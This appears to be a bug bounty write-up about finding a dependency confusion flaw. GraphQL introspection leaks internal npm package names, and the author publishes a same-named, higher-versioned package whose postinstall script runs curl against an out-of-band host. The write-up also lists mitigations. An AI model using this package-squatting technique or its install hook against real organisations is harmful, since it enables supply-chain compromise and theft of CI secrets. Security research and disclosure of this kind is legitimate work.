Sitemap

How I Discovered a Live Dependency Confusion Vulnerability in a GraphQL-Based Web Application

2 min readJul 5, 2025

--

In this write-up, I will walk you through how I discovered a live Dependency Confusion vulnerability using GraphQL introspection and validated the possibility of internal package resolution — all without revealing the target or module names for privacy and responsible disclosure.

🧠 What is Dependency Confusion?

Dependency Confusion (a.k.a. “substitution attack”) occurs when internal packages used by a company’s software are not published to a public registry (like npm), and an attacker publishes a higher-versioned package with the same name. If the build system pulls from the public registry first, the attacker’s code can get executed during CI/CD.

🛰 Recon Phase: Introspection to the Rescue

The GraphQL endpoint allowed introspection queries, revealing internal schema objects including the following field:

query {
targetQuery {
node
subdomain
serverVersion
commit
packages
}
}

The response leaked internal package names such as:

@company/target-module-search@2.3.4
@company/target-module-browse@3.1.2
...

This confirmed the presence of private scoped packages, which are common in enterprise monorepos.

🚨 Exploitation: Poisoning the Registry

I picked one internal package that wasn’t found in the npm registry when queried:

npm view @company/target-module-search
# Result: 404 Not Found

I then published a harmless PoC package using the same name but with a higher version:

{
"name": "@company/target-module-search",
"version": "3.0.0",
"main": "index.js",
"scripts": {
"postinstall": "curl -H 'X-Author: Researcher' https://<OAST_URL>"
}
}

After publishing the package, I monitored an out-of-band interaction platform (oast.fun) to detect any beacons indicating the package was pulled.

✅ Results

A beacon was successfully received at the OAST listener when the internal build system resolved and executed the malicious package, confirming that:

  • The injected postinstall script was executed, resulting in Remote Code Execution (RCE).
  • The internal CI/CD system is vulnerable to dependency poisoning via public registries.
  • The private package was being pulled from the public npm registry, despite being internal.

This demonstrates a fully weaponizable dependency confusion vulnerability, not just theoretical.

🛡 Impact

If this package were used internally, the attacker’s code could:

  • Leak environment variables
  • Interact with internal systems
  • Compromise CI/CD secrets
  • Pivot deeper into internal networks

🔁 Mitigation

  • Always scope private packages with an internal registry.
  • Configure .npmrc to prioritize private registry for all @targetcompany/* packages.
  • Use allow-lists in CI/CD to avoid unexpected packages.

🎯 Conclusion

This was a practical, non-destructive demonstration of a live Dependency Confusion vector discovered via GraphQL introspection. Even without exploitation, responsibly disclosing this helps the vendor tighten their security posture.

💬 For those interested in bug bounty hunting or supply-chain threats — this vector is still underexplored. Keep hunting 👾

--

--

Responses (2)